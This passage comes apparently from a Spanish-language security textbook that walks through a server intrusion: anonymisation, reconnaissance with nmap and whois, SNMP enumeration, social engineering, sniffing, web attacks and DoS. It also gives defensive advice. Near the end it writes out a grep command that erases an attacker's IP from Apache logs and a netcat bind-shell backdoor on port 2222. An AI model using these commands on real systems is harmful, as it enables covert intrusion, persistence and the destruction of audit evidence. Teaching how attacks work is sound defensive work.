ejemplo, sobre el que habría tomado el control o desde una red pública. En este sistema, se habrá encargado de instalar algunas herramientas "prácticas" que permitan realizar su ataque en mejores condiciones. Otra solución consiste en conservar el anonimato con la ayuda de un proxy, uno de los más conocidos es TOR. Se trata de una red de routers repartidos por todo el mundo descentralizadamente. Cada router es un nodo que tiene como misión transmitir los paquetes anónimamente. Cada nodo sólo conoce la dirección IP del nodo anterior y la del nodo siguiente. A partir del segundo nodo, la dirección IP original se volverá desconocida y el atacante será "anónimo" para su objetivo. Sin embargo, aunque se ha demostrado que la red TOR o su alternativa JonDonym (JAP) junto con un sistema de encriptación como SSL son más resistentes que la VPN, existen medidas para comprometer el anonimato proporcionado por TOR. Por ejemplo, se puede bloquear el tráfico entrante proveniente de la red TOR, ya que la lista de servidores TOR es pública. El segundo punto importante es no ser detectado. Ninguna actividad sospechosa tiene que ser descubierta para "trabajar" tranquilamente. Contar con el anonimato es ya un buen punto de partida. Además, un hacker evitará atacar siempre con la misma dirección IP para no ser detectado. Un servidor puede llegar a ser atacado cotidianamente, es un hecho. Ya sea por humanos o por robots, el simple hecho de estar en Internet lo expone a ataques reiterados. Sin embargo, los servidores generalmente bloquean las IP de los atacantes y guardan estas direcciones. Hay distintas formas de bloquear estos ataques. Un servicio bastante común es fail2ban, que bloquea toda dirección IP que realice una acción en un puerto "vigilado". Otra medida de seguridad común en los servidores es el port-knocking. Su principio consiste en modificar el comportamiento de un cortafuegos abriendo sucesivamente una serie de puertos en el orden adecuado, para abrir el puerto deseado. Sin embargo, esta técnica puede descubrirse capturando el tráfico con un sniffer, identificando las secuencias. Seleccionar a la víctima 1. Utilizar buenas herramientas Por lo tanto, el atacante intentará encontrar una puerta de entrada en el servidor. Una puerta de entrada puede ser un puerto abierto, es decir, un servicio en ejecución dentro del servidor y que puede potencialmente dar acceso. Para ello, hay multitud de pequeñas herramientas prácticas que son fáciles de usar. Netcat puede servir para muchas tareas. Su gestión avanzada de sockets le permite realizar cualquier tipo de conexión a un servicio en un puerto determinado. Esto convierte a netcat en una auténtica navaja suiza, pudiéndose usar como escáner de puertos para saber su estado, como servidor proxy o para transferir archivos. A continuación se muestra un ejemplo de cómo escanear un rango de puertos con netcat: # nc -vv -i 3000 -r -z ip_del_servidor 22 63 80-443 2222 Este comando probará el servidor cuya dirección IP es ip_del_servidor en los puertos 22, 63, del 80 al 443 y 2222. La opción -r permite escanear puertos siguiendo un orden aleatorio y la opción -i especifica el tiempo entre cada escaneo (en este caso 3 segundos). Pero netcat permite realizar muchas más tareas y, en concreto, permite crear fácilmente puertas traseras, las backdoors. Las backdoors son pequeños programas que pasan desapercibidos en el sistema y que permiten al hacker volver a conectarse al sistema siempre que lo desee, necesitando solamente que el sistema atacado esté conectado a Internet. Así pues, es uno de los principales objetivos de los hackers. Por supuesto, para dejar una backdoor en un sistema hay que haber realizado un primer acceso. Por tanto, esto se verá más adelante. También es posible recuperar el banner (también llamado firma) del servidor con netcat muy fácilmente: # nc -v -n ip_del_servidor 80 Telnet es otra herramienta muy práctica en redes, que permite crear una conexión TCP/IP con un servidor remoto. El protocolo SSH es una herramienta muy utilizada en los servidores *nix. Reemplaza y mejora Telnet, pues utiliza tramas encriptadas que son por tanto imposibles de capturar. También está a nuestra disposición Nmap, que es un escáner de puertos que nos permite obtener bastante información. Se estudiará con más detalle más adelante. Scapy es también una navaja suiza realmente útil que realiza funciones muy importantes y prácticas como la intercepción de paquetes en una red, la generación de paquetes en un gran número de protocolos, la realización de un TCP/IP stack fingerprinting, un traceroute... Además, puede substituir los comandos más comunes de nmap, hping, arpsoof, tcpdump o incluso wireshark, otras herramientas que se usan frecuentemente para analizar o evitar las medidas de seguridad de una red. Metasploit es un framework potente que realiza tests de vulnerabilidad en un sistema gracias a "pentest", pruebas de penetración mediante la ejecución de exploits en una máquina. Finalmente, un hacker tiene, en general, una caja de herramientas que va llenando a medida que va adquiriendo experiencia, con elementos muy prácticos que se pueden encontrar de forma más o menos sencilla por la red, como por ejemplo:  (grandes) diccionarios que permiten realizar ataques de diccionario.  herramientas que permiten realizar ataques de fuerza bruta.  keyloggers, que permiten recuperar la información tecleada en el ordenador de la víctima.  algunos virus o troyanos cuya instalación es sencilla.  algo que le permita realizar ataques del tipo DoS.  scripts de log-wiper para borrar sus huellas registradas en los logs de un sistema.  algunos módulos lkm que se puedan inyectar en un kernel.  etc. 2. Identificar los dominios Generalmente, el hacker ataca la parte de una empresa que es visible en línea, como por ejemplo su sitio en Internet. En este caso, partirá de la dirección de su sitio, de su nombre de dominio. Después averiguará la dirección IP del servidor. El comando whois ya es una buena herramienta básica. Busca en una base de datos mundial de nombres de dominio la información pública asociada al nombre de dominio solicitado. Algunos datos se pueden esconder por el propietario, si éste lo desea. Sin embargo, raramente se esconden datos y se puede acceder a información que nos puede dar una primera idea del sistema objetivo. De este modo, con whois se puede recopilar información sobre el propietario del nombre de dominio y sobre la organización propietaria del nombre del dominio sin preocupación. A veces, se tiene acceso incluso a la dirección postal del propietario, el contacto por email del responsable, el número de teléfono... En resumidas cuentas, se nos avanza información que no está nada mal al tratarse de una primera aproximación. Para averiguar la dirección IP del servidor que alberga el sitio web, el comando host es también un aliado muy apreciado. Esto puede permitir asimismo averiguar dónde está, geográficamente, alojado el sitio web. El comando traceroute también puede resultar útil. Averiguando los nodos intermedios entre un punto de partida y uno de llegada, proporciona información sobre el enrutamiento de los paquetes y, por lo tanto, ayuda a situar al router en la red: $ traceroute servidor-remoto.es 3. Google, ese amigo tan curioso Después de esta primera aproximación, el objetivo del atacante es informarse y conocer a su víctima. Hay que saber y recopilar, ahora más que nunca, toda la información privada (o al menos que debería serlo) encontrándola por Internet. Si se sabe exactamente dónde buscar, se puede obtener muy rápidamente información sobre una víctima potencial. Para ello, no hay que ir muy lejos, basta con abrir el navegador web y preguntar a Google. Locuaz, curioso y dotado de una memoria espectacular, es el enemigo de aquéllos que se olvidan de ser discretos. Junto a redes sociales hambrientas de información como Facebook, Twitter o incluso foros y blogs, puede llegar a ser una fabulosa herramienta muy práctica. Hay que tener en cuenta que el espionaje no es nada raro en la web. Seguir a una persona sin interés por esconder sus datos personales es un juego de niños. Uno se encuentra muchos (demasiados) foros en los que administradores de sistemas escriben la configuración de su servidor para que alguien le eche una mano, incluso desarrolladores preocupados por el sitio web que gestionan. En términos absolutos, es una buena idea compartir, los desarrolladores se ayudan entre sí, los administradores aconsejan... ¡Pero mucho cuidado con los invitados no deseados! Antes de publicar un extracto de la configuración o del código fuente que pueda revelar algún fallo en su sistema, hay que tener cuidado. Si es algo que parece obvio para una contraseña (aunque a veces nos encontremos con "simpáticas" sorpresas...), también debe aplicarse a información que no parece necesariamente sensible en una discusión técnica, pero que claramente puede facilitarle mucho la vida a un atacante en un momento dado, como por ejemplo, el login de un usuario, una ruta cualquiera (atención a las publicaciones de registros de sistema o de mensajes de error), un nombre de máquina, una dirección IP... Estos datos son en sí mismos poco útiles pero aún así, recopilados con más información, pueden ser el elemento que le faltaba al atacante en un momento dado, y sirviéndoselos en bandeja, acelerará su intrusión y/o la volverá más eficaz. De igual manera, los administradores y desarrolladores no deberían publicar código importante y deberían olvidar los foros públicos, a los que Google hace referencia demasiado fácilmente. En todo caso, no es extraño ver fugas de información muy importante en estas redes, y esto atrae a algún que otro listillo por diversión. De hecho, en la actualidad la circulación de datos de libre acceso hace que no sea necesario quebrantar la ley para obtener información privada, ya que se puede obtener legalmente sin realizar grandes búsquedas. En Internet, se tiene acceso tanto a la información personal de los empleados de una empresa como a la información administrativa. ¡Nada es más fácil que conocer al gerente de una empresa, gracias a einforma.com o info-empresas.net! Con Facebook o tuclase.com, es fácil obtener información personal. La tendencia actual es exponer la vida al público por Internet y crear vínculos entre todos los miembros y redes de miembros en línea. Con sólo unos clics, se puede obtener un perfil detallado de la víctima. Aunque es esencial que se verifique la información encontrada en la red de este modo, parece ser que la mayor parte es correcta. ¡Incluso la usan los detectives privados! Pero incluso sin estas redes, Internet está repleta de información sobre una persona o una empresa, a través de sitios web, foros y archivos de listas de difusión... Y, por supuesto, los motores de búsqueda son una excelente manera de acceder a este tipo de información. Incluso algunos sitios web se han especializado en la búsqueda de información sobre una persona, como 123people, y, aunque son muy controvertidos por sus principios y no son siempre tan eficaces como la búsqueda manual, nos desvelan la realidad: con un simple nombre, miles de datos se pueden llegar a mostrar, ya sea información en texto o gráfica. Desde hace ya bastante tiempo, varios sitios de seguridad informática quieren demostrar los peligros que supone tener la información personal accesible a todo el mundo. Se han realizado varios estudios y se han publicado informes sobre toda la información que se puede llegar a recopilar. Esto ha hecho reaccionar a la comunidad internauta y ha permitido aumentar la privacidad y las medidas de confidencialidad en distintas redes. Sin embargo, es evidente que Internet sigue siendo demasiado locuaz. El atacante puede aprender de este modo mucho sobre su víctima, de manera directa (nombre, dirección, localidad...), pero también de manera indirecta en foros o en sitios de comunidades. Puede identificar sus áreas de interés, su estado de ánimo, conocer su entorno o incluso encontrarla en los debates técnicos de una empresa escritos en los archivos de las mailing lists. Es bueno saber que un solo dato publicado no es suficiente como para explotarlo, pero unido a otros del mismo tipo, puede formar una importante fuente de información. Para contrarrestar esta fuga de información existen las defensas, pero sobre todo la mejor herramienta es la actitud que se adoptará -y se intentará contagiar- por toda la empresa. En una empresa, hay que limitar los mensajes públicos con información sensible en listas de difusión o foros, o en cualquier caso esconderlos lo máximo posible (el nombre, la dirección de correo, la dirección IP...). También hay que evitar difundir información sobre los servicios utilizados y/o sus versiones, para evitar facilitar indicaciones si existen fallos en una versión o un servicio concretos. Como norma general, toda información que potencialmente pueda ayudar a un atacante en algún momento tiene que esconderse al público. Por último, es esencial no permitir el acceso a los informes de análisis: informes de supervisión, gráficas de estadísticas, etc. Esta información por sí sola puede parecer trivial, pero proporciona datos esenciales relacionados con la naturaleza del sistema operativo, las direcciones IP (aunque éstas sean locales), los servicios utilizados con sus respectivas versiones, etc. De nuevo, toda esta información no incumbe a otros miembros que no sean los responsables de sistemas. 4. Descubrir la red Como se ha visto anteriormente, Nmap es una herramienta formidable para escanear los puertos de una máquina. Es capaz de descubrir las máquinas de una subred, de averiguar los puertos abiertos y, por tanto, de probablemente saber los servicios lanzados en cada máquina, sus versiones y sus vulnerabilidades potenciales. Preguntando a la pila TCP/IP (Transmission Control Protocol/Internet Protocol) de un servidor se puede obtener información variada cuando se va a realizar un ataque. Para empezar, averiguar el sistema operativo de un servidor es evidentemente crucial para un atacante. Muchos fallos son específicos de los sistemas operativos, y los métodos para entrar son también distintos. Si, por ejemplo, existe un exploit para un servicio de Solaris, un fingerprinting puede indicarnos cuáles son las máquinas que usan Solaris y, si el servicio en cuestión está en ejecución, el ataque es viable. Realizando un barrido de la red, podemos conocer su topología. El escáner de puertos detecta las IP activas en la red, los puertos abiertos y los servicios que supuestamente están corriendo detrás de cada puerto abierto. En este caso Nmap es una herramienta práctica e indispensable para todo administrador, en el sentido que es capaz de extraer mucha información mediante TCP/IP fingerprinting de las redes completas con una dirección de subred y una máscara. Permite saber, por ejemplo, el sistema operativo analizando la respuesta devuelta al empezar la conexión TCP en un puerto abierto y después a un puerto cerrado. Esta técnica no es fiable al 100% pero es bastante eficaz. Existen otros tipos de escáneres de puertos, los mapeadores pasivos, como el software Siphon. Este tipo de software permite determinar la topología de la red del segmento físico al que pertenece la máquina desde la que se opera, pero sobre todo se utiliza porque es indetectable por las máquinas atacadas, ya que no envía paquetes. Por último, hay herramientas para capturar conexiones X (servidor gráfico en los ordenadores con sistemas operativos de tipo Unix), que obtienen las pantallas de las máquinas atacadas, la información que introduce el usuario por el teclado y ven las ventanas del usuario en tiempo real, con lo que se consigue una potente ventaja para atacar. En la práctica, para descubrir la topología de una red 192.168.0.0/24, cuya dirección de red es 192.168.0 y que puede contener hasta 254 máquinas, el comando que se tiene que ejecutar es: # nmap -sS -sU -O -oN nmap.log 192.168.0.1-254 Se puede obtener, por ejemplo, una salida parecida a ésta: Starting Nmap 4.76 ( http://nmap.org ) at 2009-05-13 00:10 CEST Interesting ports on 192.168.0.11: Not shown: 1995 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 68/udp open|filtered dhcpc 111/udp open|filtered rpcbind 5353/udp open|filtered zeroconf Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.17 - 2.6.25 Network Distance: 0 hops He aquí el resultado del escaneo de una sola máquina. Se ha introducido varias opciones a nmap, que se explican a continuación:  sS = se detalla que se quiere realizar un escaneo SYN.  sU = se escanean también los puertos UDP.  O = se intentará identificar el sistema operativo de las máquinas escaneadas.  oN nmap.log = se solicita a nmap que guarde la salida en el archivo especificado (nmap.log). Por último, se especifica que se escanearán todas las máquinas de la red 192.168.0. A continuación, se podrá leer el registro de salida nmap.log y recuperar las direcciones IP con sus respectivos puertos abiertos para deducir el tipo de servicio que supuestamente está abierto. Se procederá a interrogar a cada servicio susceptible de dar información interesante para obtener más información, como puede ser la banda informativa. Típicamente, se detendrá en algunos servicios interesantes como los servidores DNS (puerto 53), los servidores NFS (2049), los servidores NetBIOS (139), los servidores de correo (25) y los servidores SNMP (puertos UDP 161, 162). Estos servicios son candidatos a aportar información interesante y cuentas de usuario válidas que permitirán avanzar a la siguiente etapa del ataque. Obtener información sobre un servicio es generalmente bastante fácil. Por ejemplo, para intentar ver cuál es el servidor web de un sitio: $ telnet www.example.com 80 Trying 208.77.188.166... Connected to www.example.com. Escape character is ’ˆ]’. GET / HTTP/1.0 HTTP/1.1 200 OK HTTP/1.1 400 Bad Request Date: Fri, 12 Jun 2009 21:01:19 GMT Server: Apache/2.2.3 (CentOS) Content-Length: 387 Connection: close Content-Type: text/html; charset=iso-8859-1 ¡Con sólo este comando, sabemos el servidor web (Apache), su versión (2.2.3), el sistema operativo (CentOS) y la hora en el servidor! Por lo tanto, la TCP/IP stack fingerprint permite identificar un sistema operativo de manera relativamente segura. Es indispensable ocultar el máximo de información posible al público en la configuración de los servicios o del sistema. Por ejemplo, desactivar que el servidor muestre la información del servidor web (Apache, por ejemplo) evitará la difusión a todo el mundo de la versión utilizada para cualquiera que contacte con el sistema en el puerto 80 (mediante web o Telnet). Por supuesto, esconder esta información no es suficiente para tratar de disimular el sistema operativo que corre en la máquina, aunque este no es motivo para divulgar esta información a los cuatro vientos. Desafortunadamente, algunas aplicaciones serán locuaces si se contacta con ellas y proporcionarán información útil al atacante. Por ejemplo, si se utiliza Telnet en un servidor FTP, según el servicio usado, informará cuál es (PureFTPd, vsftpd...), su versión, la hora local del servidor, si el servidor acepta conexiones anónimas o no... Además, el comando SYST puede dar información adicional y, si se permite acceso anónimo al servidor FTP, generalmente se puede recuperar el binario /bin/ls que permite conocer la arquitectura del servidor. Un servicio locuaz que permite obtener información detallada es el de snmp, generalmente en el puerto 161 UDP. Este servicio era en sus primeras versiones una fuente de información muy elocuente. Sin embargo, sigue siendo utilizado a menudo tal cual, con una configuración por defecto y, de este modo, gracias al comando snmpwalk se pueden obtener grandes cantidades de información, utilizando la comunidad ’public’. Este servicio está generalmente accesible en los routers y demás hardware de red, así como en los servidores. La arquitectura del protocolo SNMP se compone de agentes, que son los switches, los routers que tienen una base de datos llamada MIB (Management Information Base). Estos agentes vigilan la red y envían una trap, un datagrama de alarma, para prevenirse de cada elemento no habitual que provenga de la red. Estas alarmas se envían a los monitores que efectúan tanto la vigilancia pasiva como la activa y permiten al administrador gestionar su red. La información de los agentes, organizada en comunidades, se puede consultar en cualquier momento mediante el protocolo SNMP. La comunidad ’public’, por ejemplo, permite acceder a la información básica a todo el mundo. El resto de información más sensible es accesible por otras comunidades (’private’, por ejemplo). Cada comunidad tiene diferentes permisos de lectura y escritura. El problema es por un lado que la comunidad ’public’, aunque se supone que no tiene información sensible, está mal configurada (se da el caso bastante a menudo) y es accesible desde cualquier máquina, permitiendo acceder a información siempre útil para un atacante. Por otro lado, ¡basta con identificar el nombre de la comunidad que tiene permisos de acceso de escritura para modificar algunos datos de la red! Por lo tanto, se puede identificar gracias a un escáner de puertos como nmap cuáles son los agentes y cuál es el monitor. Los puertos habituales para el protocolo SNMP son el 161 (UDP) para la escucha de peticiones para los agentes y el puerto 162 (UDP) para la escucha de traps para el monitor. De este modo, si se desea descubrir los equipos SNMP de una red 192.168.0.0/16, basta con ejecutar Nmap: $ nmap -sU -p 161,162 192.168.0.* Para encontrar el nombre de la comunidad accesible, existen herramientas que actúan de forma similar a un ataque por fuerza bruta con los nombres de comunidades habituales, y que además comprueban, cuando se encuentra una comunidad, si ésta es accesible en modo escritura o no. También se puede proporcionar a la herramienta los nombres de las comunidades más probables. A continuación, basta con seguir los métodos de acceso y de modificación habituales de SNMP, que están fácilmente disponibles en Internet, para acceder a la información y escribir información. En estas circunstancias se puede ejercer un fuerte control. Por ejemplo, se puede desconectar una parte de la red y modificar de forma más general todos los datos de la MIB. El ataque 1. Aprovecharse del fallo humano En el mundo de la informática no es extraño decir que hay que saber ser perezoso. Pero ser perezoso no significa (solamente) no realizar esfuerzos, sino saber utilizar las herramientas para simplificarse la vida. Y se podría pensar que para ser un buen hacker es necesario ser un buen programador y muy inteligente. Esta afirmación es verdad en parte, pero no es suficiente. A veces, tan sólo basta con abrir una puerta y hablar. El fallo humano está a menudo considerado como uno de los más importantes en un sistema informático. Responder a preguntas que se nos plantean, dar confianza a un desconocido que se presenta ante nosotros como si tuviera permisos o simplemente descuidar el puesto de trabajo... He aquí las infracciones humanas que pueden tener graves consecuencias y que son el origen de una técnica de hacking que es de las más eficaces, el social engineering. En efecto, la manipulación de los seres humanos que tienen la información, aprovechando su ingenuidad, su amabilidad o la confianza que a veces se deposita en un desconocido sin comprobar su identidad real, permite ponerse en contacto fácilmente con un actor de la red, haciéndose pasar, por ejemplo, por alguna otra persona. De este modo, es muy fácil para el atacante introducir un caballo de Troya en la red mediante esta víctima intermedia u obtener información muy valiosa. Asimismo, es bueno prohibir a los empleados de una empresa utilizar su dirección de correo electrónico profesional para comunicaciones ajenas al trabajo, particularmente en foros de debate, para evitar riesgos de ingeniería social. Es absolutamente necesaria la sensibilización del personal frente a los conceptos de espionaje económico y de criminalidad informática, siendo tratada en cursos de formación y con información constante tanto a personal técnico como a personal no técnico. También es fundamental saber detectar un intento de ingeniería social y, sobre todo, saberse proteger. 2. Abrir las puertas de la red Para acceder a una máquina y penetrar en la red que nos interesa, se puede esnifar la información que circula por ella. Para esnifar una red, hay muchas herramientas, la más conocida es Wire- shark (anteriormente Ethereal), pero hay otras que son más específicas, como Siphon o DSniff. Esta última captura las contraseñas, aunque reconoce muchos protocolos, tales como SNMP, NetBIOS o Rlogin. Para estudiar el tráfico de una red, un sniffer es una herramienta indispensable. La gran mayoría de protocolos de Internet transmiten la información sin encriptar, incluso los identificadores de usuario y sus contraseñas. De este modo, analizando el tráfico, nos es muy fácil ver la información no encriptada y poder explotarla inmediatamente. Por ejemplo, si un usuario está consultando sus emails en la red sin utilizar cifrado SSL o se le pregunta en un sitio de Internet una contraseña sin usar el protocolo HTTPS, sus identificadores de usuario y sus contraseñas transitarán sin cifrar por la red y podrán ser interceptados directamente con el sniffer. Pero el protocolo SSL no es la solución para todo... En la conferencia Black Hat de Las Vegas en 2009, se publicaron varios fallos de SSL. Un artículo de la Black Hat 2009 relacionado con los fallos de SSL: http://www.blackhat.com/presentations/bh-usa-09/MARLINSPIKE/BHUSA09- Marlinspike-DefeatSSL-SLIDES.pdf Además, con la ayuda de Ettercap y de las peticiones ARP Poisoning, se pueden realizar varias acciones del tipo Man in the Middle, posicionándose en el medio de una comunicación entre dos máquinas. De este modo, se puede robar la información de manera transparente al usuario con el uso, por ejemplo, de SSL spoofing, proporcionando a las víctimas certificados SSL erróneos. Otra forma de "escuchar tras la puerta" es aprovecharse del Wi-Fi. Si la red Wi-Fi está abierta o se ha gestionado mal su seguridad, será fácil conectarse a la red y esnifar tráfico. Desgraciadamente, muchos usuarios son inconscientes del peligro que corren cuando se conectan a una red Wi-Fi. Para comprobarlo, basta con crear una red Wi-Fi abierta y esnifar el tráfico. Entre los ordenadores que se conectan automáticamente y los que envían información privada sin encriptar por la red, hay tanto que hacer... Y los medios son casi infinitos, la tecnología ayuda y los fallos se multiplican: hacking por bluetooth, teléfono, pendrive U3... En cada dispositivo que tenga datos o que transfiera datos, la seguridad no debe tomarse a la ligera. Una vez que el hacker posee suficiente información interesante sobre un sistema informático (las búsquedas se completarán a medida que vaya avanzando, en función de lo que vaya descubriendo), intentará detectar un fallo mediante el cual pueda meterse en el sistema. Un fallo es una vulnerabilidad perjudicial para la seguridad del sistema. Puede aparecer en el mismo sistema operativo, en una aplicación, en un servicio, en un protocolo o simplemente en un error humano. Por lo tanto, el objetivo es encontrar el fallo que nos permitirá inmiscuirnos en el sistema y explotarlo para este fin. En función de los hallazgos encontrados, el hacker conoce a priori el inventario del software o el hardware de una máquina de la red, o lo conoce todo lo suficientemente bien como para meterse en la red. Existen escáneres de vulnerabilidades, como Nessus o SAINT, a los que se les puede dar una red para que realicen un test de intrusión. Ambos programas mostrarán a continuación los fallos conocidos. Por el contrario, cabe decir que la discreción no es el punto fuerte de estos programas, ya que van a probar los fallos conocidos de forma masiva. Por lo tanto, es mejor consultar las bases de datos en línea, tales como el sitio SecurityFocus que actualiza regularmente su base de datos de vulnerabilidades. Gracias al stack fingerprint realizado anteriormente, conocemos los servicios activos de la máquina seleccionada y, quizá, la versión o, incluso, el supuesto sistema operativo. Cada vulnerabilidad tiene su propia técnica de explotación. Pero existen librerías de exploits, que hay que actualizar continuamente, cuando se ha descubierto una nueva vulnerabilidad. Nuestro objetivo es encontrar un exploit, es decir, un programa que permita probar la vulnerabilidad del servicio afectado. Se puede buscar este tipo de programas en sitios especializados. Basta con encontrar una vulnerabilidad que afecte a un servicio accesible desde la red exterior para probar el exploit. También se pueden descubrir vulnerabilidades no divulgadas preguntando directamente a las personas adecuadas, en los canales IRC, por ejemplo. A continuación, conviene eliminar los fallos no aplicables, es decir, los que están relacionados con sistemas operativos que no son el de la máquina seleccionada y comprobar las versiones de los servicios. Es esencial no perder el tiempo probando demasiados exploits, ya que hay que ser lo más discreto posible. Tan sólo tienen que quedar las vulnerabilidades explotables. Una vez que se ha encontrado el exploits, el programa se ejecutará contra la máquina seleccionada. Si el hacker obtiene un shell de root, es decir, un acceso de superusuario, entonces la máquina es vulnerable a este fallo, lo que provoca que tenga una puerta de entrada directa. Si no, habrá que buscar otra forma de acceso. 3. El ataque por la Web Los fallos Web son el origen de puertas de entrada bastante frecuentes en los sistemas. En efecto, muchos sitios presentan problemas de seguridad que están en los formularios, especialmente en los formularios de envío que están mal protegidos y permiten enviar archivos al servidor o dando acceso a información de la base de datos. Una vez más, las vulnerabilidades de los scripts usados en los sitios web o en los foros se recopilan en sitios web especializados y constituyen generalmente una excelente puerta de entrada al sistema. Además, existen ataques "tipo" bastante frecuentes. Aunque estos ataques se retomarán en el capítulo correspondiente, a continuación citaremos los más importantes. La inyección de SQL, por ejemplo, es un ataque de los más frecuentes. Trata de aprovechar la protección inadecuada de ciertas peticiones SQL que usan parámetros. Estos parámetros han sido proporcionados por el usuario final (el internauta). Típicamente, son datos que vienen de un formulario o de una URL. Si estos parámetros no se tratan adecuadamente, se podrá inyectar código malicioso y se permitirá acceder a los recursos de la base de datos. Otro tipo de fallo de seguridad común es el ataque XSS, o cross-site scripting. También intenta aprovecharse de un formulario o de los parámetros de una URL para inyectar datos de un sitio web, porque éstos no serán comprobados ni protegidos. También se puede provocar la ejecución de un script por parte del navegador web cuando el internauta visita la página. Mediante este script se pueden robar datos del usuario tales como sus cookies de autentificación, su sesión o redirigir el navegador a una página con la misma apariencia pero modificada por el hacker... Por último, existen programas como Nikto o WebScarab, que también están relacionados con los frameworks de test de vulnerabilidades web, que permiten de manera muy sencilla probar si un sitio web presenta los fallos más comunes: fallos xss, versiones desactualizadas y servidores web o cms desprotegidos, listado de directorios sensibles, etc. Junto a un software más completo, pueden simplificar la vida de los script kiddies o de hackers apurados... 4. La fuerza al servicio del ataque Cuando ser sutil no es lo más importante o no hay otras opciones, entonces también se puede realizar un trabajo por la fuerza. Hay multitud de ataques que se ejecutan usando la fuerza, ya sea sobre contraseñas, programas o servicios. El ataque por fuerza bruta consiste en probar todas las combinaciones posibles de una contraseña hasta encontrar la correcta. Este tipo de ataque puede ser muy práctico y rápido para ciertos tipos de contraseña, pero extremadamente largo o imposible con claves cuya encriptación es fuerte o está compuesta por números y caracteres complejos. Pero unido a una gran potencia de cálculo, a un ataque con diccionario o con un poco de ayuda, puede volverse muy eficaz. Por ejemplo, en el caso del robo de una clave WEP, es posible encontrar la clave tras unos pocos segundos o minutos. También se puede atacar un servidor mediante una denegación del servicio, o ataque DoS, generalmente bombardeando al servidor con peticiones para hundirlo y dejarlo no disponible. Esta técnica es bastante usada por hackers que quieren reclamar cosas. Por ejemplo, en diciembre de 2010, el grupo de hackers Anonymous atacó mediante una denegación de servicio los sitios de Paypal, Visa y Mastercard cuando éstos anunciaron que dejaban de dar servicio a Wikileaks, víctima de ataques a finales de noviembre de 2010 después de revelar informes y documentos de la diplomacia americana. Anonymous, un grupo creado por unos cuantos individuos, son actualmente todo el mundo y nadie a la vez. Sólo unos pocos crean herramientas que el resto utilizan. El mero hecho de usar una de sus herramientas le convierte a usted en un Anonymous, es esto lo que les da su fuerza y permite a personas no técnicas participar en un ataque. La cantidad de usuarios que siguen sus ataques permite realizar un DoS sobre prácticamente cualquier web. Sus acciones son similares a las de un grupo de activistas que defienden sus ideales. Por ejemplo, el 20 de abril de 2011, Anonymous desencadenó la operación Greenright para protestar contra la energía nuclear, seguido a los sucesos de Fukushima. Resultado: durante 14 horas, los sitios web bleuciel.edf.com y enterprise.edf.com dejaron de estar accesibles. EDF estima los daños y perjuicios en 162.000 euros. Finalmente, en el contexto de una aplicación, se puede realizar un desbordamiento de buffer, o buffer overflow, que consiste en enviar información a un programa para que a continuación exceda el espacio asignado a su buffer, creando de este modo un comportamiento imprevisible y permitiendo ejecutar instrucciones introducidas por el hacker. Introducirse en el sistema y garantizar el acceso 1. Permanecer discreto Una vez se ha llegado al sistema seleccionado, no es el momento de relajar la atención, sino todo lo contrario. En esta situación, lo importante es permanecer discreto y lo más anónimo posible. Se tendrá en cuenta que hay que camuflar la dirección IP para hacer más difícil un posible seguimiento, pero, por supuesto, lo mejor sigue siendo borrar las trazas para evitar que el administrador de sistemas vea que ha habido una intrusión. Cambiar la contraseña de root no es en ningún caso algo discreto. A no ser que se esté en un servidor que nunca se administra, el responsable no podrá conectarse y sospechará inmediatamente que está pasando algo. Lo que podría pasar entonces es que se produzca una reinstalación completa del sistema con las trazas de los logs y la pérdida de todos los accesos obtenidos hasta el momento. De igual manera, no es necesario borrar los registros de los logs, acción que nunca se realiza "mágicamente", lo que indicaría inmediatamente una presencia sospechosa en el sistema. Lo mejor es borrar solamente sus trazas en los registros de log y, sobre todo, garantizar que más tarde, desviando el sistema de autenticación habitual, se pueda volver a entrar aunque el administrador cambie la contraseña. Los registros de conexiones se sitúan en general en el directorio /var/log en los sistemas *nix. Los más frecuentes son:  /var/log/auth.log  /var/log/messages  /var/log/dagemon.log  /var/log/kern.log  /var/log/apache2/access_log Esto varía según la distribución del servidor y de la configuración del mismo, pero generalmente con el comando grep aplicado sobre el directorio de los logs, se realiza bastante bien. Este comando permitirá, por ejemplo, borrar las trazas de la dirección IP de conexión en el archivo del servidor Apache: # grep -Rv ’dirección_ip_de_conexión’ /var/log/apache2/access_log > archivo_log_sin_trazas && mv archivo_log_sin_trazas /var/log/apache2/access_log Sin embargo, hay archivos más complejos, ya que en realidad son archivos binarios y no de texto. Este es el caso de los archivos utmp, wtmp y lastlog. Por ejemplo, si se ejecuta en un servidor el comando who, se obtiene la lista de usuarios conectados en ese instante. Para borrar las trazas del archivo utmp asociadas a este comando, hay que utilizar lo que comúnmente se llama un log-wiper, es decir, un eliminador de log, como cloak, zap o clear. También está el archivo wtmp que guarda a su vez todos los accesos (conexiones y desconexiones) con el mismo formato que el archivo utmp. Se puede leer su contenido con el comando last: [root@localhost ~] # last root tty1 192.168.0.100 Mon Dec 13 19:19 still logged in user pts/0 192.168.0.112 Mon Dec 13 16:00 - 18:12 (02:11) Asimismo está el archivo lastlog que contiene información asociada a la última conexión de cada usuario: [root@localhost ~] # lastlog Username Port From Last root tty1 192.168.0.100 mar sep 1 14:30:35 +0200 2010 daemon **Never logged in** bin **Never logged in** user pts/0 192.168.0.112 lun dic 13 19:19:34 +0100 2010 2. Garantizar el acceso Ahora que el hacker ha borrado sus huellas y tiene algunas herramientas prácticas al alcance, se asegurará de montar algo para poder volver a conectarse. De hecho, no se puede estar seguro de que el acceso mediante el cual ha entrado la primera vez esté siempre disponible, si la contraseña cambia o si por ejemplo el fallo se ha corregido. Para ello, el hacker dejará una backdoor. Hay dos tipos de backdoors: las backdoors locales y las remotas. Las primeras utilizan los servicios existentes, mientras que las backdoors remotas son programas individuales que se pueden invocar remotamente. Como ya se ha visto anteriormente, netcat puede hacer una backdoor simple sin demasiados problemas. En efecto, dejando un ejecutable de netcat en el servidor objetivo, bastará con ejecutar netcat en un puerto asignado para a continuación poderse conectar desde el exterior: # nc -d -L -e /bin/sh -p 2222 Por supuesto, se puede cambiar el nombre del proceso para evitar que parezca sospechoso en la lista de procesos activos. Con este comando, netcat ejecuta en el puerto 2222 el programa /bin/sh (el shell de Unix), y espera conexiones (-L), sin leer de la entrada estándar (-d). Así, con una herramienta como Telnet en un equipo remoto, será fácil conectarse al puerto 2222 y obtener acceso al shell: # telnet ip_del_servidor 2222 Con el fin de pasar desapercibido e invisible a los ojos de los administradores y asegurarse un acceso realmente seguro, el atacante utilizará un rootkit, un software un poco "todo en uno" que es capaz de esconder sus trazas en los logs, ocultar procesos, crear backdoors, 